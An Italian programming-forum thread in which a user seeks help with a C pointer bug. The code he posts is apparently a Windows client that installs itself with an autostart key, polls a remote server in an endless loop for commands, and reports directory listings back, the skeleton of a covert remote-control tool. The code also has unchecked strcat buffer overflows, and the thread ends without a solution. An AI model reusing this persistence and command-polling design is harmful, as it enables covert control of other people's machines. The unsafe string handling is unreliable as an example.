Visualizzazione dei risultati da 1 a 7 su 7
  1. #1
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199

    [C] Puntatore deinizializzato senza apparente motivo

    Salve ragazzi, ho un problemuccio con un puntatore malefico che ama farmi brutti scherzi, vi posto subito il codice

    codice:
    int Explore(char * directory, char * id){
    char DATA[10256] = {NULL};
    char DATAFILE[5000] = {NULL};
    char DATADIR[5000] = {NULL};	
    strcpy(DATA, directory); // strcpy cancella la stringa! Uff!
    strcat(DATA, "^|^");
    strcat(directory, "*.*");
    
    Continua...
    in sostanza, io passo come argomento alla funzione Explore un puntatore a char, contenente una directory, vorrei copiare questa directory all'interno della stringa data, ma, non appena supero il prototipo della funzione, char * directory non punta più alla directory, ma ad un indirizzo sconosciuto. Inoltre, se questo può servirvi, viene comunque copiato il valore puntato da directory in DATA, ma il debugger prima di copiare l'intero valore si blocca per N volte all'istruzione, dove N è uguale al numero di caratteri puntati da directory!
    quindi devo premere la freccetta verde per un sacco di volte prima di proseguire all'istruzione successiva, dove però trovo directory come se fosse stato svuotato... Aiuto!

  2. #2
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,462
    Ho capito poco della spiegazione ma bisogna anche vedere il codice con cui chiami quella funzione ...

    Magari facci anche un esempio di quello che succede con dei dati ...
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  3. #3
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    Ok, questa è la funzione explore per intero
    codice:
    int Explore(char * directory, char * id){
    char DATA[10256] = {NULL};
    char DATAFILE[5000] = {NULL};
    char DATADIR[5000] = {NULL};	
    strcpy(DATA, directory); // strcpy cancella la stringa! Uff!
    strcat(DATA, "^|^");
    strcat(directory, "*.*");
    WIN32_FIND_DATA FindFileData;
    HANDLE hSearch;
    hSearch = FindFirstFile(directory, &FindFileData);
    if(FindFileData.dwFileAttributes >= 16 && FindFileData.dwFileAttributes <= 31){
         strcat(DATADIR, FindFileData.cFileName);
         strcat(DATADIR, SEPARATORE);
    }
    else{
         strcat(DATAFILE, FindFileData.cFileName);
         strcat(DATAFILE, SEPARATORE);
    }
    while(FindNextFile(hSearch, &FindFileData) != 0){
    	if(FindFileData.dwFileAttributes >= 16 && FindFileData.dwFileAttributes <= 31){
         strcat(DATADIR, FindFileData.cFileName);
         strcat(DATADIR, SEPARATORE);
    	}
    	else{
         strcat(DATAFILE, FindFileData.cFileName);
         strcat(DATAFILE, SEPARATORE);
    	}
     }
    strcat(DATA, DATADIR);
    strcat(DATA, "^|^");
    strcat(DATA, DATAFILE);
    	list(DATA, id);
    return 0;
    }
    Questo è invece il codice con cui viene richiamata
    codice:
    	else if(!strcmp((command), "Explore")){
    		Explore(arg1, cpid);
    	}

  4. #4
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,462
    Ma arg1 come l'hai definito?
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  5. #5
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    lo scarico dal mio server.... è un comando che varia sempre!

  6. #6
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,462
    Mi interessa sapere come è definito non da dove lo scarichi ... mostra il codice ...
    No MP tecnici (non rispondo nemmeno!), usa il forum.

  7. #7
    Utente di HTML.it L'avatar di Salvy95
    Registrato dal
    Jul 2008
    Messaggi
    199
    Allora, lo inizializzo nella main:

    codice:
    #include <Windows.h>
    #include <curl\curl.h>
    #include <transact.h>
    #include "macro.h"
    #include "stringhe.h"
    #include "client.h"
    #include "NetQuery.h"
    #include "iKey.h"
    #include "install.h"
    #include "datastream.h"
    #define MAX_DATA 1000
    #define MAX_PATHi 150
    
    #pragma comment(lib, "libcurld_imp.lib")
    
    char string[MAX_DATA];
    size_t function( char *ptr, size_t size, size_t nmemb, void *userdata){
        strcat(string, ptr);
    	return 0;
    }
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
    	FILE * stream;
    	CURL *curl;
        CURLcode res;
    	char * cmd[4] = {NULL, NULL, NULL, NULL};
    	char PATHi[MAX_PATHi];
    	strcpy(PATHi, installPATH);
    	char URL[150];
    	strcpy(URL, CLASSES);
    	strcat(URL, "request=showUsingId&id=");
        int e;
    	int id;
    	char FURL[160];
    	char id_storage[6];
    
    	//SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
    	if((stream = fopen(strcat(PATHi, LOG), "r")) == NULL){
    	e = install(LOG);
    	AddAutoStartKey(TRUE);
    	}
    	else{
    		fclose(stream);
    	}
    
    	id = getRecord(PATHi);
    	_itoa(id, id_storage, 10);
    	sprintf(FURL, "%s%s%s%s", URL, id_storage, "&version=", VERSION); 
        while(1){
    	  curl = curl_easy_init();
    	  if(curl) {
    	         curl_easy_setopt(curl, CURLOPT_URL, FURL);
    	         curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, function);
                 res = curl_easy_perform(curl);
    			 curl_easy_cleanup(curl);
    	         explode(string, cmd, "\n"); 
    			 if(strlen(cmd[1]) > 10){
    	         client_easy_init(cmd[1], cmd[3]);
    	         string[0] = '\0';
    	         Sleep(1500);
    			 }
    			 else{
    				 //Aspettiamo che l'utente si riconnetta ad internet e ripetiamo il ciclo
    				 string[0] = '\0';
    				 Sleep(1500);
    			 }
              }
      }
      return 0;
    }

    e lo passo come argomento qui:

    codice:
    
    #include <string.h>
    #include <Windows.h>
    #include <time.h>
    #include "macro.h"
    #include "stringhe.h"
    #include "funzioni.h"
    #include "NetQuery.h"
    #include "datastream.h"
    
    bool client_easy_init(char *action, char *args){
    	if(!strcmp(args, "argc = ")){ // Se la lista dei comandi è vuota torna alla main in attesa di un comando.
    		return false;
    	}
    	int pid;
    	char cpid[6];
    	int MB;
    	char cMB[10];
    	char * command = NULL;
    	char * argc = NULL;
    	char *arg1 = NULL, *arg2 = NULL, *arg3 = NULL;
    	command = action + 10;
             argc = args + 7; 
              arg1 = strtok(argc, "_");
              arg2 = strtok(NULL, "_"); 
              arg3 = strtok(NULL, "_");
              
    
    	CONTINUA...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.